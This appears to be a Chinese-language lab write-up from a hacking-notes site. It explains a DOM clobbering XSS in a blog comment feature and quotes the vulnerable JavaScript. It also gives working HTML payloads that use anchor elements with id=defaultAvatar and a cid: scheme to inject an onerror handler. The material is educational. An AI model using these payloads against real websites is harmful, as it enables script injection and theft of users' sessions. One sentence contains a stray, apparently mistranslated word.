> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/dom/dom-clobbering-xss.md).

# DOM 克隆劫持 XSS

### 利用 DOM Clobbering 实现 XSS

利用一个 DOM-clobbering 漏洞。评论功能允许“安全”的 HTML。目标是注入一个 HTML 片段，覆盖一个 DOM 变量（clobbering），并触发一次 XSS 执行（`alert()`).

<figure><img src="/files/39c85d5b48a819d255a821f3c196c86645f01820" alt=""><figcaption></figcaption></figure>

评论区域接受 HTML，并且某些元素会被返回（例如，一个 `<h1>` 解释器）。

<figure><img src="/files/aec3003632d081ccdff79c3e23c6e19422059cf1" alt="" width="539"><figcaption></figcaption></figure>

* 客户端脚本以 JSON 形式加载并显示恢复的评论。它使用 `DOMPurify.sanitize()` 来清理 `author` 和 `正文` 字段，但其他 DOM 操作仍然容易受到 clobbering 的影响。

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(data) {
        return data.replace(/[<>'"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* 代码创建了一个 `defaultAvatar` 对象，通过读取 `window.defaultAvatar` 如果存在； `defaultAvatar` 因此可以通过一个带有 `defaultAvatar` （clobbering）标识符的 DOM 元素来覆盖。
* 由于 `src` 的属性 `<img>` 是由 `defaultAvatar.avatar` 当 `comment.avatar` 缺失时，可以强制让一个 `defaultAvatar` 由攻击者控制的值来影响插入的值。
* 插入是通过 `divImgContainer.innerHTML = avatarImgHTML`完成的，这会触发对构建出的 HTML 字符串的解释。

{% code overflow="wrap" %}

```javascript
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
```

{% endcode %}

尝试强制 `defaultAvatar` 通过一个 `<a id=defaultAvatar>` 包含一个可能导致客户端错误的属性的元素（例如 `onerror=alert(0)`).

```html
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="0&quot;onerror=alert(0)>//">
```

这是由系统进行 URL 编码的

<figure><img src="/files/a8c2e575bc1515d53812e6d4642b991f626ea4f0" alt="" width="480"><figcaption></figcaption></figure>

<figure><img src="/files/87ff83c94ec9ea2fca6e1c8bc2ffbb0144ad08b6" alt=""><figcaption></figcaption></figure>

使用一个 Contouring 进行测试 `cid:` 方案，使该值不被编码：

```javascript
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(0)>//">
```

后者被解释

<figure><img src="/files/6bd54c118cffc6da43d0a1e1ffcbb1bfcc71880f" alt="" width="443"><figcaption></figcaption></figure>

<figure><img src="/files/9ed3f47f8f418a8dd2ebc8b9ea7d91f6360fe07e" alt=""><figcaption></figcaption></figure>


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